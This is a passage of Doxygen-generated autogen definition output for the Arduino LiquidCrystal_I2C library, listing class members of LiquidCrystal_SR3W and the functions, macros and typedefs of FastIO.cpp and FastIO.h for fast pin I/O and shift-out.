'/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1aef47417b089e53af1ce032e5f1b23b43'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rw'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '193'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a0d40b3c14c3f56fd341d41220f425925'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_strobe'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '186'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a2a7d9703b04a91658b7a590b926ff9cd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_strobe_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '187'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + cp-fileline = '67'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 27; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 26; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '27'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 29; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 28; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '29'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +file = { + file-id = '_fast_i_o_8cpp'; + file-name = 'FastIO.cpp'; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a83fc2fdc19ab3f9aade9e1a2f39e81a6'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalRead'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '96'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1ae91bbe682b02a5842c291055c0e998b5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalWrite'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '77'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a07a19dfbdca1afaca5d666bdaa3be7d5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToBit'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '66'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1afb934fc0ded94cbb5ed8ed14e2a123ed'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToInputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '53'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a04210cc785c3b4a11c86f794949c327f'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToOutputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'initial_state'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '36'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a5d8d5977294d614d15bda19f75d6b787'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '161'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a56c72b9f00680662229895ab22aaa743'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'bitOrder'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '111'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a7ac8b242e7e3cacf175e481889e047dd'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '265'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param pin[in] digital pin + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a5b4d1684030dc620938b7c2fbdf5ced8'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '192'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a2d0e4495eb12504255bbd3f82405b17b'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '182'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1ae4b2e099f8ade9ee674d1565669e870a'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '177'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param pin[in] digital pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_fast_i_o_8h'; + file-name = 'FastIO.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a04971fe5fabe4129736708c494e08e6d'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'ATOMIC_BLOCK'; + define-mem-param = { + define-mem-def-name = 'dummy'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +if(true) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '58'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a362c18b15a09703e42e1c246c47420ef'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'ATOMIC_RESTORESTATE'; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '59'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a89e1c62276052100c62b6c82a2e95622'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_HIGH'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,HIGH) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '143'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + This is where the magic happens that makes things fast. + Implemented as preprocessor directives to force inlining + SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1ac8f00a1bccb98109531b88fbb6e91478'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_LOW'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,LOW) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '144'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a6d1dffed7f0c8f28f6c88146315f7832'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_SWITCH'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit, !digitalRead(bit)) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '145'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1accae9687fdfc5f3492fb6344d62eb190'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_SWITCHTO'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'val'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,val); +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '146'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a32f90d0ad5c1295c97cc1e79936aadd6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'FIO_FALLBACK'; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '57'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a688a4adbb87520a2b68681bd6bfb199e'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SKIP'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x23 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + typedef = { + typedef-member = { + typedef-mem-kind = 'typedef'; + typedef-mem-id = '_fast_i_o_8h_1a0a595a88b29bcfd1540b6fac75787937'; + typedef-mem-virt = normal; + typedef-mem-prot = public; + typedef-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + typedef-mem-name = 'fio_bit'; + typedef-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + typedef-mem-desc-line = '60'; + typedef-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + typedef-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* typedef-member */ + typedef-member = { + typedef-mem-kind = 'typedef'; + typedef-mem-id = '_fast_i_o_8h_1ae44ea3af54ef26db03f1ae2ea62f9c1f'; + typedef-mem-virt = normal; + typedef-mem-prot = public; + typedef-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + typedef-mem-name = 'fio_register'; + typedef-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + typedef-mem-desc-line = '61'; + typedef-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + typedef-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* typedef-member */ + }; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a197336e47e1c3f929056ce3abbbc7e8d'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalRead'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '158'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1ae91bbe682b02a5842c291055c0e998b5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalWrite'; + func-mem-param = { + func-mem-param-type = 